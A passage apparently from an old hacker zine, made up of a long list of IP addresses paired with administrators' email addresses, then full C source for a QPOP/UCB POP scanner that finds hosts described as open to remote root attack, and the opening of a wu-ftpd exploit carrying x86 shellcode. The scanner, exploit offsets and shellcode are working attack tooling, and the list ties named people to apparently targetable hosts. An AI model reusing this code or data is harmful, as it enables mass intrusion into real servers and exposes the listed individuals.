18 194.254.140.0 Philippe.Auclair@jouy.inra.fr,
Claude.Zurbach@ensam.inra.fr
18 194.254.140.255 Philippe.Auclair@jouy.inra.fr,
Claude.Zurbach@ensam.inra.fr
18 194.254.16.255 Philippe.Wender@insa-rouen.fr
18 194.254.171.0 florence@upn.univ-paris13.fr
18 194.45.167.0 kschmidt@applix.de, klisse@applix.de
18 194.45.167.255 kschmidt@applix.de, klisse@applix.de
18 194.57.0.0 techfem@mobilia.it
18 194.57.0.255 techfem@mobilia.it
18 194.57.11.0 techfem@mobilia.it
18 194.57.11.255 techfem@mobilia.it
18 194.73.58.0
18 194.73.58.255
18 195.122.12.0 Aleks.Maslobojev@apollo.lv
18 195.122.12.255 Aleks.Maslobojev@apollo.lv
18 195.249.71.0
18 195.249.71.255
18 195.26.32.0 jane.greening@4thwave.co.uk,
mat.withers@4thwave.co.uk
18 195.26.32.255 jane.greening@4thwave.co.uk,
mat.withers@4thwave.co.uk
18 195.30.20.0 max@blitz.net, holger@blitz.net
18 196.15.128.0 johans@igubu.saix.net
18 196.22.206.0 massel@neptune.co.za
18 198.114.68.0 wsanders@ccmg.lotus.com
18 198.114.68.255 wsanders@ccmg.lotus.com
18 198.214.170.0 D.Nash@utexas.edu
18 198.214.170.255 D.Nash@utexas.edu
18 199.119.8.255 http://103536.3617@compuserve.com
18 199.120.118.0 noc@netins.net
18 199.120.118.255 noc@netins.net
18 199.173.20.0 net-admin@intac.com
18 199.173.20.255 net-admin@intac.com
18 199.217.85.0 robertc@savvis.com
18 199.221.104.255 krish@ans.net
18 199.239.27.0 hostmaster@co.verio.net
18 199.239.27.255 hostmaster@co.verio.net
18 200.31.28.0 chris@impsat.net.ar
18 200.31.30.0 mvera@impsat.net.ec
18 200.34.71.0 2090823@mcimail.com
18 200.34.71.255 2090823@mcimail.com
18 202.104.151.255
18 202.211.34.255 technical@apnic.net
18 202.27.240.0 ashtonb@landcare.cri.nz,
mclennanm@landcare.cri.nz
18 202.27.241.255 ashtonb@landcare.cri.nz,
mclennanm@landcare.cri.nz
18 202.94.7.255 michael@netchina.co.cn
18 203.103.97.0
18 203.103.97.255
18 203.24.138.0 hostmaster@telstra.net
18 203.24.138.255 hostmaster@telstra.net
18 203.27.92.255 hostmaster@telstra.net
18 203.67.41.0 cjcherng@mozart.seed.net.tw,
sysop@mozart.seed.net.tw
18 203.73.242.0 cjcherng@mozart.seed.net.tw,
sysop@mozart.seed.net.tw
18 203.93.87.0
18 204.142.155.0 jtt@paragonsys.com
18 204.142.155.255 jtt@paragonsys.com
18 204.189.114.0 buddyj@hic.net
18 204.210.66.0 rwintel@twmaine.com
18 204.210.66.255 rwintel@twmaine.com
18 204.211.201.0 hostmaster@sips.state.nc.us
18 204.211.201.255 hostmaster@sips.state.nc.us
18 204.225.126.0 lowy@convoke.com
18 204.225.127.255 lowy@convoke.com
18 204.34.19.0
18 204.34.19.255
18 204.48.152.255 tuma@ceo.sbceo.k12.ca.us
18 204.57.187.255 edm@nwnexus.wa.com
18 204.95.48.255 karl@mcs.com
18 205.150.202.0 craig@garland-group.com
18 205.153.28.255 MWilliams@charter.com
18 205.218.4.255 nomailbox@nowhere
18 205.221.105.0 grpjl@iastate.edu
18 205.221.105.255 grpjl@iastate.edu
18 205.221.96.0 grpjl@iastate.edu
18 205.221.96.255 grpjl@iastate.edu
18 205.229.127.255 twright@cathedral.org
18 205.241.199.255 Niels@opup.org
18 205.243.207.0 ryan@inc.net
18 206.110.233.0 hostmaster@alameda-coe.k12.ca.us
18 206.110.233.255 hostmaster@alameda-coe.k12.ca.us
18 206.110.234.0 hostmaster@alameda-coe.k12.ca.us
18 206.110.234.255 hostmaster@alameda-coe.k12.ca.us
18 206.136.242.255 help@uunet.uu.net
18 206.140.86.0 lak@aads.net
18 206.140.87.0 lak@aads.net
18 206.149.40.255 reginfo@nkn.net
18 206.166.209.0 mwilliam@ptc.dcs.edu
18 206.166.209.255 mwilliam@ptc.dcs.edu
18 206.166.241.255 mwilliam@ptc.dcs.edu
18 206.166.242.0 mwilliam@ptc.dcs.edu
18 206.172.122.0 debbie@worldlinx.com
18 206.172.122.255 debbie@worldlinx.com
18 206.172.192.0 debbie@worldlinx.com
18 206.172.192.255 debbie@worldlinx.com
18 206.172.197.0 debbie@worldlinx.com
18 206.172.197.255 debbie@worldlinx.com
18 206.172.198.0 debbie@worldlinx.com
18 206.172.198.255 debbie@worldlinx.com
18 206.172.199.0 debbie@worldlinx.com
18 206.172.199.255 debbie@worldlinx.com
18 206.172.224.0 debbie@worldlinx.com
18 206.172.224.255 debbie@worldlinx.com
18 206.172.225.0 debbie@worldlinx.com
18 206.172.225.255 debbie@worldlinx.com
18 206.172.226.0 debbie@worldlinx.com
18 206.172.226.255 debbie@worldlinx.com
18 206.172.235.0 debbie@worldlinx.com
18 206.172.235.255 debbie@worldlinx.com
18 206.172.236.0 debbie@worldlinx.com
18 206.172.236.255 debbie@worldlinx.com
18 206.23.195.0 jwinters@tec.net
18 212.208.154.0 root@cppgroup.com, olemarie@fr.uu.net
18 209.212.228.255 andym@ntt.net
18 210.63.176.255 maxkuan@ttn.com.tw, dean@ht.net.tw
18 207.177.117.255 noc@netins.net
18 210.175.52.0 hostmaster@nic.ad.jp
18 210.175.52.255 hostmaster@nic.ad.jp
18 208.33.192.0 si@kca.net
18 207.173.214.0 abuse@eli.net
18 208.33.192.255 si@kca.net
18 207.233.34.255 nes@4c.net
18 216.93.12.0 ipadmin@voyager.net
18 208.223.124.0 nomailbox@nowhere
18 207.22.129.0 arrants@bmd.clis.com
18 206.228.161.0 NOC@sprint.net
18 212.250.209.0 nmc@ntli.net, kmarshall@ireng.com
18 209.198.249.0 noc@interpacket.net
18 208.223.124.255 nomailbox@nowhere
18 207.22.129.255 arrants@bmd.clis.com
18 206.228.161.255 NOC@sprint.net
18 212.250.209.255 nmc@ntli.net, kmarshall@ireng.com
18 209.198.249.255 noc@interpacket.net
18 209.85.25.0 hostmaster@softaware.com
18 207.107.105.0 noc@sprint-canada.net
18 209.5.121.0 noc@sprint-canada.net
18 209.5.122.0 noc@sprint-canada.net
18 207.107.152.0 noc@sprint-canada.net
18 207.107.153.0 noc@sprint-canada.net
18 209.63.198.0 sforester@e-infoinc.com
18 207.107.206.0 noc@sprint-canada.net
18 207.107.207.0 noc@sprint-canada.net
18 207.107.221.0 noc@sprint-canada.net
18 207.107.234.0 noc@sprint-canada.net
18 207.107.235.0 noc@sprint-canada.net
18 207.107.105.255 noc@sprint-canada.net
18 209.5.121.255 noc@sprint-canada.net
18 209.5.122.255 noc@sprint-canada.net
18 207.107.152.255 noc@sprint-canada.net
18 207.107.153.255 noc@sprint-canada.net
18 209.63.198.255 sforester@e-infoinc.com
18 207.107.206.255 noc@sprint-canada.net
18 207.107.207.255 noc@sprint-canada.net
18 207.99.208.255 art@lacoe.edu
18 207.107.221.255 noc@sprint-canada.net
18 207.107.234.255 noc@sprint-canada.net
18 207.107.235.255 noc@sprint-canada.net
18 210.69.250.255
18 208.21.40.0 nomailbox@nowhere
18 208.230.78.0 kstrange@net-temps.com
18 207.200.148.0 martinb@imag.net
18 207.200.149.0 martinb@imag.net
18 207.200.152.0 martinb@imag.net
18 207.200.155.0 martinb@imag.net
18 207.234.1.255 hostmaster@telalink.net
18 212.10.24.255 kskov@stofa.dk, kskov@pip.dknet.dk,
tormelle@stofa.dk, tormelle@login.dknet.dk
18 208.230.78.255 kstrange@net-temps.com
18 216.101.117.255
18 207.200.148.255 martinb@imag.net
18 207.200.149.255 martinb@imag.net
18 207.200.150.255 martinb@imag.net
18 207.200.152.255 martinb@imag.net
18 207.200.153.255 martinb@imag.net
18 207.200.153.0 martinb@imag.net
18 207.200.154.0 martinb@imag.net
18 208.230.168.0 Hostmaster@digitalgreen.com
18 208.230.170.0 Hostmaster@digitalgreen.com
18 207.28.171.0 dave.klinkefus@icn.state.ia.us
18 208.158.229.0 jeff@digitalgreen.com
18 207.19.241.0 adam_rasmussen@highend.com
18 207.109.251.0 hostmaster@uswest.net
18 210.150.12.255 hostmaster@nic.ad.jp
18 208.170.101.255 mderrick@hiwaay.net
18 212.12.129.255 ibrahim@fornet.net.tr, ilker@fornet.net.tr,
eren@fornet.net.tr, teknik@fornet.net.tr
18 207.200.155.255 martinb@imag.net
18 208.230.168.255 Hostmaster@digitalgreen.com
18 207.28.171.255 dave.klinkefus@icn.state.ia.us
18 208.158.229.255 jeff@digitalgreen.com
18 208.158.230.255 jeff@digitalgreen.com
18 207.19.241.255 adam_rasmussen@highend.com
18 207.109.251.255 hostmaster@uswest.net
18 207.223.57.0 maa@jwgnet.com
18 216.190.92.0 SLB@jenkon.com
18 207.200.150.0 martinb@imag.net
18 207.200.151.0 martinb@imag.net
18 216.13.163.0 martinb@imag.net
18 207.223.57.255 maa@jwgnet.com
18 216.190.92.255 SLB@jenkon.com
18 207.200.151.255 martinb@imag.net
18 216.13.163.255 martinb@imag.net
18 209.76.204.0
18 209.76.204.255 jhoulding@psr.edu
18 216.107.0.0 engineering@nni.com
18 216.107.5.0 engineering@nni.com
18 216.107.6.0 engineering@nni.com
18 216.107.13.0 engineering@nni.com
18 216.107.18.0 engineering@nni.com
18 216.107.20.0 engineering@nni.com
18 216.107.23.0 engineering@nni.com
18 207.249.77.0 webmastercns@compuserve.com
18 208.15.164.0 tony@atapco-custom.com
18 208.199.187.0 meta4@interramp.com
18 207.18.199.0 help@uunet.uu.net
18 216.107.0.255 engineering@nni.com
18 216.107.5.255 engineering@nni.com
18 216.107.6.255 engineering@nni.com
18 216.107.7.255 engineering@nni.com
18 216.107.13.255 engineering@nni.com
18 216.107.18.255 engineering@nni.com
18 216.107.20.255 engineering@nni.com
18 216.107.23.255 engineering@nni.com
18 207.249.77.255 webmastercns@compuserve.com
18 207.126.125.255 noc@above.net
18 209.140.152.255 jeffd@coriolis.com
18 207.200.154.255 martinb@imag.net
18 208.15.18.0 NOC@sprint.net
18 207.10.95.0 sdm@rte.com
18 207.70.172.0 miker@lcc.net
18 209.70.51.255 hostmaster@clark.net
18 209.56.97.0 sfosseen@aea5.k12.ia.us
18 216.84.222.0 ahaley@texmed.org
18 209.226.229.0 noc@in.bell.ca
18 209.226.230.0 noc@in.bell.ca
18 209.226.231.0 noc@in.bell.ca
18 209.226.229.255 noc@in.bell.ca
18 209.226.230.255 noc@in.bell.ca
18 209.226.231.255 noc@in.bell.ca
18 208.11.81.0 darren@infobahn.icubed.com
18 207.177.122.0 noc@netins.net
18 208.22.251.0 cvmmjm@cc.vtvm1.vt.edu
18 209.87.57.255 franks@tu.bc.ca
18 208.11.81.255 darren@infobahn.icubed.com
18 206.218.143.255 rgernon@mail.doe.state.la.us
18 208.22.251.255 cvmmjm@cc.vtvm1.vt.edu
18 208.238.104.0 jerome@hwwilson.com
18 208.238.105.0 jerome@hwwilson.com
18 208.238.106.0 jerome@hwwilson.com
18 208.238.107.0 jerome@hwwilson.com
18 208.238.104.255 jerome@hwwilson.com
18 208.238.105.255 jerome@hwwilson.com
18 208.238.107.255 jerome@hwwilson.com
18 209.173.205.0 mgc@orbis.net
18 208.140.79.255 hostmaster@hiwaay.net
18 206.215.81.255 cale@cohesive.net
18 209.48.139.0 dns@digex.net
18 209.48.139.255 dns@digex.net
18 207.62.166.255 netadmin@moe.calpoly.edu
18 216.60.246.255 hostmaster@swbell.net
18 209.22.30.0 SUCHOVSA@aurora.afccc.af.mil
18 209.242.205.0 jim@alphachannel.com
18 209.136.218.0 gordon@roadrunner.com
18 209.22.30.255 SUCHOVSA@aurora.afccc.af.mil
18 209.78.60.255 nomailbox@nowhere
18 207.231.96.0 kenkos@usnetway.com
18 207.231.97.0 kenkos@usnetway.com
18 207.231.98.0 kenkos@usnetway.com
18 207.231.99.0 kenkos@usnetway.com
18 207.231.96.255 kenkos@usnetway.com
18 207.231.97.255 kenkos@usnetway.com
18 207.231.98.255 kenkos@usnetway.com
18 207.231.99.255 kenkos@usnetway.com
17 24.238.2.0 bobby@ols.net
17 63.65.8.0 twright@cathedral.org
17 63.67.135.0 robb@microedge.com
17 63.67.135.255 robb@microedge.com
17 63.68.114.0 jkrainak@c3design.com
17 131.64.244.0 SSNYDER@cols.disa.mil
17 131.64.247.255 SSNYDER@cols.disa.mil
17 152.43.31.0
17 152.43.31.255
17 152.9.54.0 westg@mars.nccu.edu
17 152.9.54.255 westg@mars.nccu.edu
17 161.223.69.0
17 161.223.69.255
17 161.223.77.0
17 192.176.123.255 BER@sunic.sunet.se
17 192.246.229.0 hostinfo@psi.com
17 192.246.229.255 hostinfo@psi.com
17 192.58.24.0 holly.wales@msfc.nasa.gov
17 192.58.24.255 holly.wales@msfc.nasa.gov
17 192.58.25.0 holly.wales@msfc.nasa.gov
17 192.58.25.255 holly.wales@msfc.nasa.gov
17 192.72.46.0 kaoci@tpts1.seed.net.tw
17 192.93.178.255 Annie.Renard@inria.fr
17 193.106.12.255 yp@jouve.fr
17 193.113.60.0 kevin.bates@bt.com, adrian.pauling@bt.com,
kevin.bates@bt.com, adrian.pauling@bt.com,
steve.a.marshall@bt.com
17 193.119.172.255
17 193.12.151.255
17 193.140.198.0 ozturanm@boun.edu.tr, baysalc@boun.edu.tr
17 193.254.6.0 anders.rosendal@umea.se
17 193.254.6.255 anders.rosendal@umea.se
17 193.39.17.255 NONE, NONE
17 193.5.67.0 admin@rolotec.ch, apm@rolotec.ch
17 193.73.186.0 peters@sig.ch, pete@concentra.co.uk,
admin@pks.be, pete@concentra.co.uk
17 194.107.62.0
17 194.122.105.0 holger.kipp@pmc.de
17 194.122.217.0 bandle@mmc.de
17 194.143.185.255 dinesh@nettec.co.uk, craig@manda.co.uk
17 194.143.230.0 kjanos@elender.hu
17 194.168.222.0 nmc@ntli.net, nmc@ntli.net
17 194.168.222.255 nmc@ntli.net, nmc@ntli.net
17 194.19.64.0
17 194.19.64.255
17 194.199.121.0 maxcasty@tin.it
17 194.199.121.255 maxcasty@tin.it
17 194.207.0.0 hostmaster@vbc.net
17 194.254.147.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
aperio@luminy.univ-mrs.fr
17 194.254.147.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
aperio@luminy.univ-mrs.fr
17 194.254.148.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
aperio@luminy.univ-mrs.fr
17 194.254.148.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
aperio@luminy.univ-mrs.fr
17 194.254.149.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
aperio@luminy.univ-mrs.fr
17 194.254.149.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
aperio@luminy.univ-mrs.fr
17 194.64.180.0 j.unger@choin.net
17 194.64.229.0 wedel@pharma.de
17 194.72.192.0 djn@enterprise.net
17 194.72.192.255 djn@enterprise.net
17 194.8.203.0 mag@dumont.de
17 195.122.23.0 guntars_lorencis@farmdep.gov.lv,
Aleks.Maslobojev@apollo.lv
17 195.122.23.255 guntars_lorencis@farmdep.gov.lv,
Aleks.Maslobojev@apollo.lv
17 195.146.91.0 smp@adonis.iasnet.com, plat@kiae.su,
bon@ripn.net, incoming@monga.ripn.net,
lsy@kiae.su
17 195.152.110.0 doug@uk.psi.com
17 195.152.110.255 doug@uk.psi.com
17 195.17.80.0 mti@softnet.se
17 195.249.225.0
17 195.27.52.255 barkau@os-net.de
17 195.29.255.0 Mirta.Matic@tel.hr, Anela.Lovric@tel.hr,
krunoslav.kedmenec@tel.hr,
Petar.Andrijasevic@tel.hr
17 195.29.255.255 Mirta.Matic@tel.hr, Anela.Lovric@tel.hr,
krunoslav.kedmenec@tel.hr,
Petar.Andrijasevic@tel.hr
17 195.34.168.0 wolf@ipm.net
17 195.41.205.0
17 195.65.87.255 jb@rolotec.ch, admin@rolotec.ch
17 198.142.96.0 matt@mpx.com.au
17 198.142.96.255 matt@mpx.com.au
17 198.214.160.0 D.Nash@utexas.edu
17 198.214.160.255 D.Nash@utexas.edu
17 198.214.61.0 jayr@tenet.edu
17 198.214.61.255 jayr@tenet.edu
17 198.4.175.0 help@uunet.uu.net
17 198.6.114.0 net-admin@intac.com
17 198.6.114.255 net-admin@intac.com
17 198.64.7.0 hostmaster@sesqui.net
17 198.64.7.255 hostmaster@sesqui.net
17 199.111.95.0 jaj@virginia.edu
17 199.111.95.255 jaj@virginia.edu
17 199.117.52.0 aesmoot@aescon.com
17 199.117.52.255 aesmoot@aescon.com
17 199.120.113.0 noc@netins.net
17 199.120.113.255 noc@netins.net
17 199.120.114.0 noc@netins.net
17 199.120.114.255 noc@netins.net
17 199.221.104.0 krish@ans.net
17 199.249.18.255 Jim.Avera@mci.com
17
199.250.226.0 dnstech@eni.net
17 199.29.174.0 hostinfo@psi.com
17 199.29.174.255 hostinfo@psi.com
17 199.72.10.0 hostmaster@interpath.net
17 199.72.10.255 hostmaster@interpath.net
17 200.15.12.255 hostmaster@sesqui.net
17 200.28.35.0 wmaldona@ctcreuna.cl
17 200.28.35.255 wmaldona@ctcreuna.cl
17 200.28.95.0 wmaldona@ctcreuna.cl
17 200.32.73.0 tlynch@impsat.com
17 200.32.73.255 vgadda@impsat.com
17 200.39.95.255 emoreno@nextgeninteinter.net
17 202.135.82.0
17 202.160.12.0 rao@technet.sg
17 202.211.34.0 technical@apnic.net
17 202.219.0.255 technical@apnic.net
17 202.248.2.255 hostmaster@nic.ad.jp
17 202.69.0.0 abraham@hk.net, williamw@hk.net
17 202.69.0.255 abraham@hk.net, williamw@hk.net
17 202.69.1.0 abraham@hk.net, williamw@hk.net
17 202.69.1.255 abraham@hk.net, williamw@hk.net
17 202.99.5.255
17 203.127.207.0
17 203.127.207.255
17 203.139.164.255 hostmaster@nic.ad.jp
17 203.141.1.0 hostmaster@nic.ad.jp
17 203.141.1.255 hostmaster@nic.ad.jp
17 203.240.193.0 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com
17 204.131.142.0 emontero@gmgw.com
17 204.152.71.0 Bill_Hutchison@cesoft.com
17 204.153.162.0 dkirk@corpcomm.net
17 204.153.162.255 dkirk@corpcomm.net
17 204.161.32.255 jawright@fresno.edu
17 204.161.33.255 jawright@fresno.edu
17 204.241.124.0 hostinfo@psi.com
17 204.241.124.255 hostinfo@psi.com
17 204.246.130.0 support@vii.com
17 204.246.130.255 support@vii.com
17 204.246.132.255 support@vii.com
17 204.34.24.0
17 204.34.24.255
17 204.48.150.255 tuma@ceo.sbceo.k12.ca.us
17 204.48.151.0 tuma@ceo.sbceo.k12.ca.us
17 204.48.151.255 tuma@ceo.sbceo.k12.ca.us
17 204.48.152.0 tuma@ceo.sbceo.k12.ca.us
17 204.50.83.0 noc@sprint-canada.net
17 204.57.86.0 Miller@sidlinger.com
17 204.57.86.255 Miller@sidlinger.com
17 205.138.176.0 brian@dstream.net
17 205.138.176.255 brian@dstream.net
17 205.139.65.0 jsohn@saber.net
17 205.139.65.255 jsohn@saber.net
17 205.153.28.0 MWilliams@charter.com
17 205.163.15.0 bblue@cts.com
17 205.163.38.0 sbeverly@wavegate.com
17 205.187.159.0 Louis_Lee@icgcomm.com
17 205.213.151.0 nic@mail.wiscnet.net
17 205.213.168.0 jmcmaho2@sevastopol.k12.wi.us
17 205.229.125.0 twright@cathedral.org
17 205.229.126.0 twright@cathedral.org
17 205.241.209.0 Niels@opup.org
17 205.241.209.255 Niels@opup.org
17 205.253.22.0 karl@mcs.com
17 205.253.22.255 karl@mcs.com
17 206.109.202.0 william@neosoft.com
17 206.109.202.255 william@neosoft.com
17 206.13.40.255 jonathan@sonic.net
17 206.137.31.255 mconelly@napc.com
17 206.148.35.0 dan@nyrealty.com
17 206.148.35.255 dan@nyrealty.com
17 206.149.62.255 reginfo@nkn.net
17 206.152.160.0 tim@lanline.com
17 206.152.161.255 tom@lanline.com
17 206.166.244.0 mwilliam@ptc.dcs.edu
17 206.175.129.255 hostmaster@wcom.net
17 206.211.73.255 renae.h.key@gte.sprint.com
17 206.211.73.0 renae.h.key@gte.sprint.com
17 212.182.3.255 Andrzej.Resztak@admins.man.lublin.pl, lan-
admin@umcs.lublin.pl
17 212.182.2.0 Andrzej.Resztak@admins.man.lublin.pl, lan-
admin@umcs.lublin.pl
17 206.222.161.255 uurtamo@insync.net
17 212.182.2.255 Andrzej.Resztak@admins.man.lublin.pl, lan-
admin@umcs.lublin.pl
17 212.182.3.0 Andrzej.Resztak@admins.man.lublin.pl, lan-
admin@umcs.lublin.pl
17 209.208.185.0 hostmaster@pfmc.net
17 206.72.199.0 maz@albany.net
17 208.145.204.0 admin@lisco.com
17 207.50.249.0 nomailbox@nowhere
17 208.145.204.255 admin@lisco.com
17 207.1.208.255 lbemerer@lmccinti.com
17 207.50.249.255 nomailbox@nowhere
17 207.171.205.0 jfreire@proxysf.com
17 207.165.77.255 dave.klinkefus@icn.state.ia.us
17 207.171.205.255 jfreire@proxysf.com
17 209.39.0.0 netadmin@onramp.net
17 206.99.45.0 egra@adinet.com.uy
17 206.99.50.0 egra@adinet.com.uy
17 216.214.144.0 noc@megsinet.net
17 206.99.45.255 egra@adinet.com.uy
17 206.99.50.255 egra@adinet.com.uy
17 208.151.220.255 ipswip@cw.net
17 207.233.25.0 nes@4c.net
17 212.182.63.0 Andrzej.Resztak@admins.man.lublin.pl, lan-
admin@umcs.lublin.pl
@HWA
33.0 pop.c QPOP vulnerability scanner by duro
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* POPScan QPOP/UCB/SCO scanner by duro
duro@dorx.net
takes list of ip's from stdin
The hosts gathered by this scanner are
almost 100% vulnerable to a remote
root attack. The exploits used to root
the vulnerable machines can all be found by
searching bugtraq. UCB pop is 100% of the
time vulnerable to the qpop exploit (it's a very
old version of qpop). The QPOP version is
filitered to make sure that non-vulnerable
versions do not show up in the scan.
Common offsets for the bsd qpop exploit are:
621, 1500, 500, 300, 900, 0
Example usage:
./z0ne -o ac.uk | ./pops > ac.uk.log &
would scan ac.uk for vulnerabilities.
much help from jsbach
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <signal.h>
int ADMtelnet (u_long, int port);
char domain[50];
int NUMCHILDREN = 150, currchilds = 0; /* change numchildren to taste */
char ip[16];
int temp1 = 0;
void scan(char *ip);
void alrm(void) { return; }
main()
{
while( (fgets(ip, sizeof(ip), stdin)) != NULL)
switch(fork()) {
case 0: {
scan(ip); exit(0);
}
case -1: {
printf("cannot fork so many timez@!@^&\n");
exit(0);
break;
}
default:
{
currchilds++;
if (currchilds > NUMCHILDREN)
wait(NULL);
break;
}
}
}
void scan(char *ip)
{
char printip[16];
struct sockaddr_in addr;
int sockfd;
char buf[512];
bzero((struct sockaddr_in *)&addr, sizeof(addr));
sockfd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(110);
addr.sin_family = AF_INET;
signal(SIGALRM, alrm);
alarm(5);
if ( (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) != -1))
{
recv(sockfd, (char *)buf, sizeof(buf), 0);
if ( (strstr(buf, "QPOP") ) != NULL && (strstr(buf, "2.5")) == NULL && (strstr(buf, "krb")) == NULL)
{
checkos(ip,1);
}
if((strstr(buf, "UCB")) != NULL)
checkos(ip,2);
if((strstr(buf, "SCO")) != NULL)
{
strcpy(printip, ip);
if ((temp1=strrchr(printip, '\n')) != NULL)
bzero(temp1, 1);
printf("%s: SCO Unix box running SCO pop.\n",printip);
}
}
return;
}
// }
checkos(char *ip, int spl)
{
int temp2;
char printip[16];
unsigned long temp;
temp = inet_addr(ip);
temp2 = ADMtelnet(temp, 23);
strcpy(printip, ip);
if ((temp1=strrchr(printip, '\n')) != NULL)
bzero(temp1, 1);
if ((temp2 == 1)&&(spl==1))
printf("%s: OpenBSD box running vuln QPOP\n",printip);
if ((temp2 == 1)&&(spl==2))
printf("%s: OpenBSD box running vuln UCB pop\n",printip);
if ((temp2 == 2)&&(spl==1))
printf("%s: FreeBSD box running vuln QPOP\n",printip);
if ((temp2 == 2)&&(spl==2))
printf("%s: FreeBSD box running vuln UCB pop\n",printip);
if ((temp2 == 3)&&(spl==1))
printf("%s: BSDi box running vuln QPOP\n",printip);
if ((temp2 == 3)&&(spl==2))
printf("%s: BSDi box running vuln UCB pop\n",printip);
}
int ADMtelnet (u_long ip, int port)
{
struct sockaddr_in sin;
u_char buf[4000];
int dasock, len;
int longueur = sizeof (struct sockaddr_in);
dasock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); /* gimme a socket */
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = ip;
if (connect (dasock, (struct sockaddr *) &sin, longueur) == -1)
return (-1);
while (1)
{
memset (buf, 0, sizeof (buf));
if ((len = read (dasock, buf, 1)) <= 0)
break;
if (*buf == (unsigned int) 255)
{
read (dasock, (buf + 1), 2);
if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
else if ((u_char) * (buf + 1) == (unsigned int) 253)
{
*(buf + 1) = 252;
write (dasock, buf, 3);
}
}
else
{
if (*buf != 0)
{
bzero (buf, sizeof (buf));
read (dasock, buf, sizeof (buf));
usleep(40000);
if((strstr(buf, "OpenBSD") != NULL))
return 1;
if((strstr(buf, "FreeBSD") != NULL))
return 2;
if((strstr(buf, "BSDI") != NULL))
return 3;
sleep (1);
}
}
}
return 0;
}
@HWA
34.0 'Integrated FTP attack facility' by typo/teso
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za/
/*
<tmogg> ifaf ?
<typo_> integrated ftp attack facility
<ElCamTuf> ifafoffuffoffaf
<ElCamTuf> sounds much better
Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
_----------------------------------------------------------------------------_
Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
but wuftpd is too boring to finetune it.. enjoy this sploit in the
meanwhile. Send me offsets (see below) to typo@scene.at.
-____________________________________________________________________________-
Contributors:
Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
edi (found a way to only have to find 2(!) offsets, he is hardcore!)
lcamtuf (dziekuje tobie za ostatunia noc)
Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
scut (minor include and style fixes)
smiler (asm bugfixing), stealth (hellkit rox)
Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include <getopt.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
/* LaM3rZ shellcode */
unsigned char lamerz[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
/* teso code: write(1,"teso\n",5); exit(0); */
unsigned char testcode[] =
"\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
"\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
"\xcd\x80\xe8\xdf\xff\xff\xfftesox";
/* teso code: ioctl(, 0x5309, 0); */
unsigned char cdcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
"\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
"\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
"\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
"\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";
/* uh.. script kiddies suck. */
char *shellcode = cdcode;
typedef struct dir *dirptr;
struct dir {
char *name;
dirptr next;
} dirproto;
void title (void);
void usage (const char *me);
void connect_to_ftp (void);
void log_into_ftp (void);
void parseargs (int argc, char **argv);
void cleanup_and_exit (void);
int x2port (const char *smtn);
void err (int syserr, const char *msg, ...);
int cwd (const char *path);
int mkd (char *name);
int rmd (char *name);
int is_writable (void);
void getpwd (void);
int recurse_writable (void);
void *xmalloc (size_t size);
void *xcalloc (int factor, size_t len);
char *xstrdup (const char *s);
ssize_t xread (int fd, void *buf, size_t count);
ssize_t xwrite (int fd, const void *buf, size_t count);
int xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
